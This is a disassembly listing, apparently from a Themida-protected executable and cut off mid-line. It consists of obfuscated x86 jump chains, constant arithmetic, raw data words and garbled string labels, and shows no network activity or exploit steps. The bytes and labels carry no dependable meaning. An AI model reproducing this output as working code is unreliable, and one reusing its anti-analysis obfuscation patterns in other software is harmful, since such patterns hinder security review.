0FFFFFFEAh dd 4BF5751h, 89000000h, 0A4DDE9F9h, 0C1810000h, 4, 8704C183h dd 15C240Ch, 2B55E9FBh, 81580000h, 304D34C7h, 0E15DE963h dd 0EB810000h, 0B367E668h, 0A45C2C2Dh, 0E9D80118h, 0FFFFF880h dd 0E95BF800h, 0FFFFD240h ; --------------------------------------------------------------------------- loc_5563D4: ; CODE XREF: Themida_:0055A1FBj push 1AC5h jmp loc_552FF5 ; --------------------------------------------------------------------------- dw 5F54h dd 0F0BD5552h, 0BA109137h, 0EF6EC814h, 655CE9h, 497BD00h dd 0EA311104h, 55242C8Bh, 0C4B1E9h db 0 ; --------------------------------------------------------------------------- loc_556401: ; CODE XREF: Themida_:0055E74Dj add esp, 4 mov edx, [esp] add esp, 4 push ecx mov ecx, 46AE4A84h and ecx, 3CFE1A5Bh sub ecx, 36EC0558h xor ecx, 49013E8Fh sub ecx, 84C33A23h add edx, ecx jmp loc_5644F7 ; --------------------------------------------------------------------------- db 0BDh, 13h, 22h aSlp db '≤LP╦',0 aWYsb db 'WчYИBз',0 dd 0FFC38900h, 48B2434h, 0A886E924h, 0C8290000h, 24048759h dd 241C895Ch, 0DBB75352h, 80F3F780h, 0FA886BF7h, 0FFACBAE9h db 0FFh byte_55646D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550F04o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 3F08h mov [esp], ecx mov ecx, 45080DCFh jmp loc_558CC4 ; --------------------------------------------------------------------------- aPisiXfyfq60us_ db 'P┬Х┬фXfYfQ╣60НИа_',0 dd 0E9295A00h, 2789E9h, 0C2815D00h, 2, 8B241487h, 0F662424h dd 8156C8B6h, 4ECh, 685BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564BE: ; CODE XREF: Themida_:005513CBj mov eax, edi pop edi jmp loc_552E6E ; --------------------------------------------------------------------------- dw 148Bh aSK db '$И',27h,'┼',0 align 2 dw 1B04h dd 6FE9D800h, 58000028h, 5C241C87h, 9C240421h, 2FEAE9h db 0 ; --------------------------------------------------------------------------- loc_5564E5: ; CODE XREF: Themida_:005599E1j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 37Ah mov [esp], ebp mov ebp, esp push esi jmp loc_55EDE9 ; --------------------------------------------------------------------------- dw 0C581h dd 657559D7h, 0F972F581h, 0F5816469h, 0CE354FCh, 0B8E9EF89h dd 6800002Eh, 3348h, 9E60E9h, 4C48300h, 5C24048Fh, 6E23EA81h dd 0B7E95CA8h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556533: ; CODE XREF: Themida_:0055C5A4j shl ebx, 7 shr ebx, 3 xor ebx, 163C09C4h jmp loc_559514 ; --------------------------------------------------------------------------- loc_556544: ; CODE XREF: Themida_:00559701j xor ecx, 2C1B71B5h add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] or eax, eax jmp loc_552D28 ; --------------------------------------------------------------------------- aWsz db 'WИZч',0 align 10h dd 0E924148Bh, 0FFFFB676h, 7910C281h, 48B3C42h, 4C48324h dd 0E1668h, 0B747E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55657E: ; CODE XREF: Themida_:0055932Ej mov ecx, esp push esi push edi jmp loc_561351 ; --------------------------------------------------------------------------- aGVsO db '╬┐',7,'шvИ©o',0 db 0 ; --------------------------------------------------------------------------- loc_556591: ; CODE XREF: Themida_:00563C0Bj mov [esp], ebp mov ebp, esp push esi push eax push 48EE160Eh pop eax jmp loc_55D483 ; --------------------------------------------------------------------------- db 81h dd 0A91261C1h, 0B9F3E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5565AE: ; CODE XREF: Themida_:00556DB4j add ebp, 32C94BF1h jmp loc_561A70 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EAh dd 3722608Ah, 0C281EA29h, 3722608Ah, 0A991E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5565CE: ; CODE XREF: Themida_:00551304j mov esp, [esp] pop dword ptr [edi+24h] loc_5565D4: ; CODE XREF: Themida_:0055A377j push 22A1h mov [esp], edx push ebp jmp loc_552827 ; --------------------------------------------------------------------------- dw 8568h dd 8900000Ch, 5E542434h, 4C681h, 74E90000h, 80FFFFC2h dd 0EB8070EBh, 80C300F7h, 5066F7C3h, 7DE970B0h, 10000BBh dd 1A685FF8h, 8900003Ah, 0C6BB241Ch, 810DDF0Eh, 414D5FEBh dd 0F231E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556626: ; CODE XREF: Themida_:005591B7j add eax, edi jmp loc_55299D ; --------------------------------------------------------------------------- loc_55662D: ; CODE XREF: Themida_:0055AB35j pop ebp jmp loc_562521 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 0C8B5424h, 4C48124h, 81000000h, 4C1h, 75DB6800h dd 0AE90000h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_556653: ; CODE XREF: Themida_:0055B255j add edi, 24EA1122h add edi, ecx jmp loc_56120D ; --------------------------------------------------------------------------- loc_556660: ; CODE XREF: Themida_:0055898Bj sub edx, ecx push dword ptr [esp] pop ecx jmp loc_552D4F ; --------------------------------------------------------------------------- db 46h dd 3CBBC681h, 0F7015C6Eh, 266EE95Eh, 0EA810000h, 6AA22C09h dd 58F9C281h, 0D78991AEh, 8324148Bh, 814704C4h, 0B76E5EEFh dd 8BFA895Bh, 0C481243Ch, 4, 8142D2F7h, 3CAA28C2h, 0AD3BE97Ch dd 3429FFFFh, 0EE815E24h, 77E841C9h, 1E50BD55h, 0F58140ACh dd 6965566Bh, 255AED81h, 0E5812596h, 41673076h, 9F96C581h dd 0EE317CD7h, 8810E9h, 4BC58100h, 5A22EF0Fh, 0C2BE5657h dd 8911771Dh, 0CF815EF7h, 2FD721ECh, 68h, 243C2900h, 1EF835Fh dd 0C213F781h, 0FD01C008h, 68243C8Bh, 1E6Dh, 68243489h dd 5C7Eh, 56242489h, 3091E9h, 5EDC100h, 504DE9h, 58C10100h dd 0BF57C101h, 220E6234h, 0D3EFE9h, 242C8900h, 3E3BBB53h dd 9FBD5DA0h, 310C6E0Ch, 20E95BDDh db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55674F: ; CODE XREF: Themida_:00564A11j not ebp sub ebp, 5E41169Eh push edi mov edi, 2923744Dh jmp loc_555CDC ; --------------------------------------------------------------------------- loc_556762: ; CODE XREF: Themida_:0055FCE1j mov esp, [esp] jmp loc_55FAA1 ; --------------------------------------------------------------------------- loc_55676A: ; CODE XREF: Themida_:0055FC72j xor ecx, 6EE34D09h push edx push esi jmp loc_5611D0 ; --------------------------------------------------------------------------- loc_556777: ; CODE XREF: Themida_:005655C4j push edi push esp jmp loc_553C0D ; --------------------------------------------------------------------------- loc_55677E: ; CODE XREF: Themida_:005589C6j push ebx jmp loc_55B7D2 ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 24248B24h, 24048B66h, 0FFFBA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_556799: ; CODE XREF: Themida_:0055BBB5j mov [esp], ebp mov ebp, 28754AD3h sub esp, 4 mov [esp], ebp jmp loc_55E72B ; --------------------------------------------------------------------------- db 59h dd 0CC2DD001h, 56AF26Ch, 0A503DD4h, 8124148Bh, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 710921F0h not edx shl edx, 5 jmp loc_5659AC ; --------------------------------------------------------------------------- dd 2C8BEB29h, 4C48324h, 5DF7E981h, 0BD55604Eh, 7A9B58A3h dd 815DE929h, 693E6CE9h, 81D9010Ah, 693E6CC1h, 0A3C1810Ah dd 537A9B58h, 4E5DF7BBh, 8BD90160h, 0C481241Ch, 4, 83E9525Bh dd 680000EEh, 11F0h, 0BD242C89h, 0FDDD0E85h, 34FFEE29h dd 0BEF0E924h, 1C8BFFFFh, 4C48324h, 72DF029h, 8B785B35h dd 54522434h, 0E924148Bh, 0FFFFDA2Dh, 8106E6C1h, 40004C6h dd 5EF1018Ah, 4F88E9h, 241C8900h, 0C212E4BBh, 0E4BE561Eh dd 0F72B573Fh, 0B2EE81DEh, 46499D20h, 0B951DEF7h, 24592685h dd 0CCE98141h, 4147C52Dh, 8ACEF181h, 0CE31B6A5h, 4FD4E9h dd 0A9EA8100h, 0E929907Eh, 314h, 8850D988h, 58E288CCh dd 88D2F659h, 24148BD3h, 5004C483h, 0DD885152h, 8159EE88h dd 4ECh, 240C8900h, 0FFC0D1E9h, 4E4C0FFh, 0A550E9h db 0 ; --------------------------------------------------------------------------- loc_5568CD: ; CODE XREF: Themida_:005588B9j push ebp jmp loc_551C17 ; --------------------------------------------------------------------------- db 89h dd 0FA8958C7h, 5090E9h, 0E5E95700h, 8B00006Eh, 3EE92424h dd 81FFFFC2h, 4C3h, 241C8700h, 2F89685Ch, 0A0E90000h, 8F000019h dd 248B2404h, 91CCE924h, 592C0000h, 6327E9h, 0CBE95300h dd 81FFFFD6h, 4C4h, 4C48300h, 4B951h, 0B9510000h, 73BF0E64h dd 8159CE29h, 3C68D1EEh, 81CE014Fh, 3C68D1C6h, 6F08E94Fh dd 14680000h, 89000063h, 88682414h, 89000015h, 0AEE92404h dd 5300006Ah, 976B79BBh, 0D3F74B5Ch, 57DCEB81h, 0ACE9660Dh dd 81000072h, 4C4h, 8A6FE900h, 295A0000h, 0B13AE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55697E: ; CODE XREF: Themida_:00554E63j mov esi, 668F71BBh inc esi shr esi, 2 xor esi, edx xor edx, esi xor esi, edx not edx jmp loc_563DA1 ; --------------------------------------------------------------------------- dd 0C12801B0h, 97CDE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55699E: ; CODE XREF: Themida_:00563C6Fj mov dl, bh jmp loc_557C48 ; --------------------------------------------------------------------------- loc_5569A5: ; CODE XREF: Themida_:00562BC8j mov [esp], eax jmp loc_55241B ; --------------------------------------------------------------------------- db 81h, 0EFh, 0B4h dd 680E7328h, 26Ah, 99B4E9h db 0 ; --------------------------------------------------------------------------- loc_5569BD: ; CODE XREF: Themida_:0056309Aj mov esp, [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, 34B31528h sub eax, ebx pop ebx push ebx push 416Ah mov [esp], ecx mov ecx, 4000h push ecx jmp loc_55AC19 ; --------------------------------------------------------------------------- loc_5569E6: ; CODE XREF: Themida_:0055EBAAj add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_559A10 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0DDE92424h, 810000C5h, 4C4h, 24148B00h, 8104C483h dd 6E7CBDEFh, 56DF0161h, 46234EBEh, 0E6814E6Ah, 2C5209A8h dd 0A695E9h, 34D3BD00h, 0E80140B6h, 4EC815Dh, 0E9000000h dd 20EFh, 0B76F17BFh, 0BFEF810Dh, 0C1501758h, 0D7F706E7h dd 370DEF81h, 0C7817C3Fh, 5309D46Ah, 895FFD31h, 0FE295DEFh dd 2434875Fh, 7505E9h db 0 aM0Spss db '╛0ьSPSИ"ш',0 ; DATA XREF: Themida_:00550CC4o align 4 dd 4BE56h, 0F1010000h, 0FFA8B7E9h, 24048BFFh, 4C481h, 89530000h dd 4C381E3h, 81000000h, 4C3h, 0EEACE900h, 0C2810000h, 4 dd 8704EA83h, 0E95C2414h, 0FFFFF823h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_555F6C ; --------------------------------------------------------------------------- loc_556AC4: ; CODE XREF: Themida_:0056356Cj or eax, edx pop edx xor eax, 9A7E7702h sub ebx, eax pop eax jmp loc_561248 ; --------------------------------------------------------------------------- dd 242C8B57h, 4C481h, 7CE90000h, 31000022h, 0D3F7241Ch dd 8B241C87h, 8956241Ch, 0B99FE9E6h, 535EFFFFh, 4BBh, 0CB86E900h db 2 dup(0) word_556B02 dw 478Fh ; DATA XREF: Themida_:00550D34o dd 0A455E940h db 2 dup(0FFh) word_556B0A dw 81ADh ; DATA XREF: Themida_:00550CB0o dd 4ECh, 243C8900h, 0FFFE3EE9h, 2C335FFFh, 242C3124h, 8B242C33h dd 34FF2424h, 2434FF24h, 7A77685Ah, 1C890000h, 92E95424h dd 66FFFFC1h, 66391768h, 0E9241489h, 0EF31h ; --------------------------------------------------------------------------- loc_556B48: ; CODE XREF: Themida_:0056317Ej mov ecx, [esp] push edx push edx mov edx, esp jmp loc_55C535 ; --------------------------------------------------------------------------- dd 4C481h, 68500000h, 13563C04h, 0C7F5E958h, 0FBBEFFFFh dd 0F75BEA7Bh, 7BF681DEh, 9B78DBAh, 510CE9F3h, 1C890000h dd 6E14E924h, 0E9830000h, 240C8704h, 2434895Ch, 0CAB3E954h dd 0C181FFFFh, 4, 4C181h, 7DE90000h db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556BA3: ; CODE XREF: Themida_:005638E3j mov esp, [esp] rep movsd add esp, [edx+38h] jmp loc_56340F ; --------------------------------------------------------------------------- dd 0A13EA81h, 0BDE97B91h, 810000B9h, 4C4h, 359CE900h, 52510000h dd 4BAh, 0E9D18900h, 87F3h, 3AD9E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556BDA: ; CODE XREF: Themida_:0055A5D9j push ebx jmp loc_563122 ; --------------------------------------------------------------------------- dword_556BE0 dd 1F968h, 48F5400h, 30D1E924h, 0D3290000h, 5E08950h, 4 ; DATA XREF: Themida_:00550E3Co dd 3304E883h, 0A2E92404h, 29000065h, 24348BF7h, 4C481h dd 0FCE90000h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556C13: ; CODE XREF: Themida_:005529ECj push ebx mov ebx, eax jmp loc_561B65 ; --------------------------------------------------------------------------- db 0C1h dd 0E98106E9h, 185B96Fh, 0B93EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C2A: ; CODE XREF: Themida_:00557A21j sub dword ptr [esp+4], 65A58ECh sub dword ptr [esp+4], 614565C0h pop ecx jmp loc_560DBF ; --------------------------------------------------------------------------- dd 27D6CB81h, 0EE96BDFh, 890000ECh, 4C781E7h, 81000000h dd 4EFh, 0D024E900h, 0D2F7FFFFh, 0F752D2F7h, 0E95A241Ch dd 7685h, 4C481h, 685A0000h, 2123h, 0BD242C89h, 7591193h dd 12F9E9h db 0 ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:00554F9Cj add esp, 4 push ebp push 1F62h jmp loc_55F6A7 ; --------------------------------------------------------------------------- db 56h dd 9EE9E689h, 0BFFFFFB8h, 4, 3A33B92Dh, 5F80108h, 83A33B9h dd 2404875Fh, 6DCDE9h, 0BEE6800h, 14890000h, 8017B224h dd 0DAF6C3CAh, 8002EAC0h, 0D2F6D8C2h, 0E983F280h, 5FB3h dd 2C8BEB29h, 4C48124h, 81000000h, 64D2BEBh, 8CEB813Fh dd 156022Eh, 8CC381C3h, 5556022Eh, 0AF2000BDh, 0C7C1E934h dd 0FA21FFFFh, 47E9555Fh, 5E000065h, 0D46BA52h, 0D10965E8h dd 0D8BEE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D16: ; CODE XREF: Themida_:00559B19j shr edi, 6 and edi, 29433F52h sub edi, 1A833DE7h xor edi, 0C119B96Eh add esi, edi jmp loc_55ED86 ; --------------------------------------------------------------------------- dw 0C283h dd 6853E904h, 22BD0000h, 810FAF2Fh, 972CAC5h, 81DDF73Ch dd 0BE0A9DE5h, 0F581452Ah, 20060A11h, 0CFA9E9h db 0 ; --------------------------------------------------------------------------- loc_556D59: ; CODE XREF: Themida_:00564B73j sub eax, 6B3A37B5h jmp loc_55C4AE ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2BE5600h, 1000000h, 17EEE9F0h, 0E9560000h, 32F6h dd 7101432Dh, 0D44052Ch, 8B050F46h, 144D571h, 0B5E957D8h db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D93: ; CODE XREF: Themida_:0055260Bj pop ecx pop dword ptr [esp] jmp loc_55B89A ; --------------------------------------------------------------------------- loc_556D9C: ; CODE XREF: Themida_:00555CD7j add esp, 4 push edx mov edx, 19356981h sub ebp, 17C53AECh add ebp, edx add ebp, 17C53AECh pop edx jmp loc_5565AE ; --------------------------------------------------------------------------- loc_556DB9: ; CODE XREF: Themida_:0055B92Cj pop esp jmp loc_557A05 ; --------------------------------------------------------------------------- loc_556DBF: ; CODE XREF: Themida_:00555E68j jmp loc_550F5F ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 183Bh ; --------------------------------------------------------------------------- loc_556DCC: ; CODE XREF: Themida_:00559A95j sub ebx, ecx pop ecx add edx, ebx pop ebx add edx, 4 xchg edx, [esp] pop esp push 797Dh mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push esi mov esi, esp add esi, 4 push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] jmp loc_5629C2 ; --------------------------------------------------------------------------- dd 5A66D528h, 59EE305Ah, 2914E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556E22: ; CODE XREF: Themida_:0055CAECj pop eax jmp loc_556FFD ; --------------------------------------------------------------------------- dd 68C8B60Fh, 3C90h, 68241489h, 510Ah, 83242489h, 0E9042404h dd 8195h ; --------------------------------------------------------------------------- loc_556E44: ; CODE XREF: Themida_:00564C60j push edx push esi push eax mov eax, 0F9E5AF6h mov esi, 0EB0450Eh xor esi, eax jmp loc_553F18 ; --------------------------------------------------------------------------- dd 4803E0C1h, 166E125h, 74D33542h, 26E927F6h, 0FF000081h dd 3C8B2434h, 0A7F4E924h, 0EAC00000h, 76F28006h, 2EC81h dd 89660000h, 0CAE92414h, 33FFFFA7h, 248B242Ch, 24348924h dd 4BEh, 5EF30100h, 31241C33h, 1C33241Ch, 24248B24h, 8B2434FFh dd 0E9572404h, 858Bh dword_556EB4 dd 24048B66h, 2E2368h, 24048900h, 24048B54h, 4C481h, 0E9520000h ; DATA XREF: Themida_:00550D28o dd 0BEDEh ; --------------------------------------------------------------------------- loc_556ED0: ; CODE XREF: Themida_:0055879Cj sub esp, 4 mov [esp], esi mov esi, 476038AAh dec esi add esi, 0F14F02EBh jmp loc_5598E6 ; --------------------------------------------------------------------------- dw 2B05h dd 8B528E36h, 0C481242Ch, 4, 615F68h, 242C8900h, 256A0568h dd 2434FF42h, 6665E95Dh, 0E9BD0000h, 877F3432h, 87D7F7FDh dd 6EDC1FDh, 0E945D5F7h, 0FFFFEE0Ch ; --------------------------------------------------------------------------- loc_556F24: ; CODE XREF: Themida_:00565739j mov [esp], edx jmp loc_55C617 ; --------------------------------------------------------------------------- dd 8704ED83h, 248B242Ch, 24148924h, 2434FF50h, 0E92434FFh dd 0FFFFE0A6h ; --------------------------------------------------------------------------- loc_556F44: ; CODE XREF: Themida_:00551847j jmp loc_550F5F ; --------------------------------------------------------------------------- aL4S2 db '▀4$И2╩',0 dd 0E8C15D00h, 0E8C14808h, 0D0BE5607h, 817CE219h, 0E2C523F6h dd 5EF0317Ch, 0E958C629h, 0FFFFCD26h, 43B6858h, 3C890000h dd 0D6685524h, 5D234342h, 0E091E950h, 5D580000h, 0FFE057E9h dd 33E981FFh, 0E90C5720h, 0E73Ch, 4EE81h, 34330000h, 24343124h dd 8B243433h, 14892424h, 148B5424h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 72BC68h, 240C8900h, 4186850h, 0BE97783h dd 880000ABh, 59EA88FDh, 45A6E9h, 9F7DE900h, 34FFFFFFh dd 0D5E95F24h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_556FEB: ; CODE XREF: Themida_:0055A8C9j shl edx, 1 push 358h mov [esp], ebx push ebp push edi push edx jmp loc_5604F3 ; --------------------------------------------------------------------------- loc_556FFD: ; CODE XREF: Themida_:00556E23j pop edx shr eax, 1 add eax, 1153535Dh shr eax, 6 add eax, 670FC531h sub ecx, eax pop eax mov ebp, ecx pop ecx pop esi push ebp pop ecx pop ebp dec ecx neg ecx push 353Fh mov [esp], edi push 0E30A954Bh jmp loc_564F64 ; --------------------------------------------------------------------------- loc_55702C: ; CODE XREF: Themida_:0056455Bj pop esi xor edx, 51051B1Ah sub ebx, edx pop edx jmp loc_5623FC ; --------------------------------------------------------------------------- a4SI db ')4$^И╟╗',0 align 4 dd 4C481h, 0B9510000h, 2, 0FFD103E9h db 0FFh ; --------------------------------------------------------------------------- loc_557055: ; CODE XREF: Themida_:00560B49j xor ebp, 4FE90579h push esi mov esi, 2D9A79B6h xor ebp, esi pop esi sub edx, ebp jmp loc_55FA82 ; --------------------------------------------------------------------------- loc_55706B: ; CODE XREF: Themida_:00561A91j pop eax jmp loc_554E77 ; --------------------------------------------------------------------------- loc_557071: ; CODE XREF: Themida_:00552EF0j jmp loc_550F5F ; --------------------------------------------------------------------------- dw 0E983h dd 240C8704h, 243C895Ch, 0D928E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557086: ; CODE XREF: Themida_:00561E7Fj pop edx push 6DB9h jmp loc_563B69 ; --------------------------------------------------------------------------- db 54h, 58h, 5 dd 4, 15BE5657h, 8904173Eh, 0E7C15EF7h, 3EFC102h, 0D6F7F787h dd 568BE9h, 9EA9E900h db 2 dup(0FFh) word_5570B6 dw 8B66h ; DATA XREF: Themida_:00550D2Co dd 0EC83240Ch, 243C8904h, 9D685F54h, 89000016h, 0F4BB241Ch dd 0E945C531h, 18CCh, 405h, 4C08300h, 0E9240487h, 0FFFF9EC9h dd 47F5E95Fh, 0E9550000h, 4F34h, 967C581h, 0E581332Dh dd 65FE3C6Eh, 0D959ED81h, 0EE29E7EEh, 81E6D15Dh, 148F0DF6h dd 5EF101B7h, 0D1E9F129h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557117: ; CODE XREF: Themida_:0056023Dj mov ebx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_55DD5B ; --------------------------------------------------------------------------- dd 5C240C87h, 0FF243C89h, 5F042474h, 5C24048Fh, 0E9E68956h dd 602Fh dword_557140 dd 0DFD8E9ADh ; DATA XREF: Themida_:00550DF0o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557146: ; CODE XREF: Themida_:0055AFDCj sub esp, 4 mov [esp], ebx push ecx mov cl, dl push eax mov ah, cl mov bl, ah pop eax pop ecx mov ch, bl jmp loc_55A2E0 ; --------------------------------------------------------------------------- dd 0C15DE929h, 0BE5606E1h, 64F2AA8Ch, 15EF101h, 0F639E9C8h dd 0BA52FFFFh, 4, 0C186E9h db 0 ; --------------------------------------------------------------------------- loc_557181: ; CODE XREF: Themida_:00558047j push 7AABh mov [esp], ecx mov ecx, 460B6C6Dh shl ecx, 2 push 396Fh jmp loc_5525D1 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9DBFh ; --------------------------------------------------------------------------- loc_5571A0: ; CODE XREF: Themida_:0055C38Cj mov ebp, [esp] add esp, 4 neg edi shl edi, 3 push ebp mov ebp, 54EB3150h and edi, ebp mov ebp, [esp] add esp, 4 add edi, 0AB5ECEB4h jmp loc_555C56 ; --------------------------------------------------------------------------- aVicsE db 'V┴ФИ╫╔',0 align 4 dd 0EA81EA01h, 0F695AE0h, 770AEA81h, 0C8E921A5h, 5600007Ah dd 3A012DBEh, 0E9DEF772h, 1FB1h, 23D250B8h, 0E9E80108h dd 0FFFFFD59h ; --------------------------------------------------------------------------- loc_5571F8: ; CODE XREF: Themida_:00554886j pop dword ptr [esp] pop esp push ebx push 5583h mov [esp], ebp push 65D02391h mov ebp, [esp] jmp loc_553DF4 ; --------------------------------------------------------------------------- loc_557212: ; CODE XREF: Themida_:00561E6Bj add eax, 1C0C1B53h add eax, 20056484h sub eax, edx sub eax, 20056484h sub eax, 1C0C1B53h pop edx push 1049h mov [esp], edi push esi mov esi, 4D5928B2h and esi, 40F97C43h inc esi add esi, 749F6B83h not esi xor esi, 41531F0Fh mov edi, esi jmp loc_55AB70 ; --------------------------------------------------------------------------- byte_557253 db 0FFh ; DATA XREF: Themida_:00550EFCo dd 0FF042474h, 34FF2434h, 89505824h, 405E0h, 0A8E90000h dd 83000031h, 65E904C4h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557273: ; CODE XREF: Themida_:00564DDEj mov edi, 1 mov ecx, edi jmp loc_56246D ; --------------------------------------------------------------------------- db 0BAh dd 4397095Ch, 0E95AD331h, 4705h ; --------------------------------------------------------------------------- loc_55728C: ; CODE XREF: Themida_:00558510j shl ebp, 1 sub ebp, 0D0681E7Eh xor esi, ebp pop ebp shr esi, 7 and esi, 23884D85h jmp loc_55EE77 ; --------------------------------------------------------------------------- loc_5572A5: ; CODE XREF: Themida_:00557311j sub esp, 2 mov [esp], dx jmp loc_55D8BC ; --------------------------------------------------------------------------- db 31h, 0F2h, 0E9h dd 929Ch, 5704C483h, 0C781E789h, 4, 4EF81h, 3C870000h dd 24248B24h, 0E9243489h, 0DC1h, 0C1815954h, 4, 0FFF89DE9h dd 241489FFh, 6FEB68h, 24048900h, 0BE9C2B0h, 5D000051h dd 2474FF56h, 2434FF04h, 4816E95Eh, 0E94A0000h, 0E3BBh ; --------------------------------------------------------------------------- loc_55730C: ; CODE XREF: Themida_:005658BBj pop edx xchg ecx, [esp] pop esp jmp loc_5572A5 ; --------------------------------------------------------------------------- loc_557316: ; CODE XREF: Themida_:0055D68Cj not ebp add ebp, 0C1367F6Bh jmp loc_55C764 ; --------------------------------------------------------------------------- db 0F6h dd 9804D0h, 0C455E9C2h, 0E7C1FFFFh, 64E78103h, 0E95BB17Dh dd 0FFFFAD20h, 0A88CEB81h, 0D889E846h, 0C9BA525Bh, 87750367h dd 87D7F7FAh, 0FFBB53FAh, 1FFFFFFh, 0D2E95BDAh, 8100006Bh dd 6B2FFEE1h, 0A21AE931h, 5066FFFFh, 39AAE99Ch, 13680000h dd 0E9000051h, 9F04h ; --------------------------------------------------------------------------- loc_55737C: ; CODE XREF: Themida_:00555AEFj and esi, 5D74DECh jmp loc_5555EE ; --------------------------------------------------------------------------- db 59h dd 5324148Bh, 0AD37E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557392: ; CODE XREF: Themida_:00552E24j xor ebp, eax xor eax, ebp xor ebp, eax xchg eax, edi push 0B10h mov [esp], edi jmp loc_55D4EA ; --------------------------------------------------------------------------- loc_5573A6: ; CODE XREF: Themida_:005627C9j push dword ptr [esp] pop eax push edi push esp jmp loc_562BEC ; --------------------------------------------------------------------------- db 5Dh, 29h, 0F7h dd 7211EF81h, 0E95E1E6Dh, 6952h, 0E9E78957h, 0CBF2h, 383EE950h dd 0CD800000h, 4BC580AEh, 3059EB30h, 0E678E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5573DE: ; CODE XREF: Themida_:005555C3j add ebx, eax jmp loc_564C65 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 68000000h, 421Ah, 0BA241489h, 195B03A1h, 0E51FE955h dd 0BF570000h, 3FD43B9Bh, 0E6E9F901h, 0BDFFFFB5h, 47634A6Ch dd 0FFFCDBE9h, 4C481FFh, 0FF000000h, 0E9592434h, 0C953h dd 68243489h, 2E631881h, 0C02DE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557432: ; CODE XREF: Themida_:0055E719j mov esi, 5A411F84h and ebx, esi pop esi add ebx, 23F739F5h jmp loc_55B8A3 ; --------------------------------------------------------------------------- db 68h, 0C2h, 69h dd 0FAE9294Dh, 66FFFFFAh, 51240C8Bh, 8904EC83h, 4832424h dd 0C8B0424h, 0A857E924h, 685AFFFFh, 5FE7h, 0E9241489h dd 7714h, 0C381E389h, 4, 0E904C383h, 8C02h, 0DC86EB81h dd 0D82905D4h, 8B30885Bh, 7EE92404h, 68FFFFFFh, 6771189h dd 0B0F3E95Fh, 0E9550000h, 0FFFF9DCAh ; --------------------------------------------------------------------------- loc_5574A8: ; CODE XREF: Themida_:00565030j add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ebx mov ebx, edx jmp loc_55C261 ; --------------------------------------------------------------------------- loc_5574C3: ; CODE XREF: Themida_:00557695j shr eax, 7 xor eax, 789C1E6Ah add eax, 74564CEAh sub eax, 4C86DA3Fh add ecx, 74B95F0Bh add ecx, eax sub ecx, 74B95F0Bh pop eax mov eax, ecx pop ecx or eax, 1AA04ABCh jmp loc_55BE40 ; --------------------------------------------------------------------------- aAursZ db '─НrИг┤',0 db 0 ; --------------------------------------------------------------------------- loc_5574F9: ; CODE XREF: Themida_:005519CBj add ecx, 4 jmp loc_554B23 ; --------------------------------------------------------------------------- dd 0E906EAC1h, 0FFFFD1DFh ; --------------------------------------------------------------------------- loc_55750C: ; CODE XREF: Themida_:0055DC42j mov ebp, 1721665Fh not ebp and ebp, 62B107ADh dec ebp add ebp, 6B87B7AEh jmp loc_562E7B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 503DD42Dh, 6853510Ah, 3B6434FAh, 61F3815Bh, 0E972963Bh dd 6A75h, 5DDDE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557546: ; CODE XREF: Themida_:0055AC81j pop ecx or eax, eax jz loc_5641E3 push dword ptr [edi+1Ch] push 2986h mov [esp], ecx jmp loc_55B91E ; --------------------------------------------------------------------------- aRB9bAfZs db 'R╨-b)9│ЙAF*а',9,'яZИчЁ',0 dw 0BF00h dd 37A54A0Eh, 67F6F781h, 0FB290A6Eh, 242C8B5Fh, 24E16851h dd 0C8E90000h, 5E000003h, 4C481h, 54530000h, 6BB6E95Bh dd 0EE810000h, 28A7364Fh, 6ABAEE81h, 0BA525427h, 619C27ACh dd 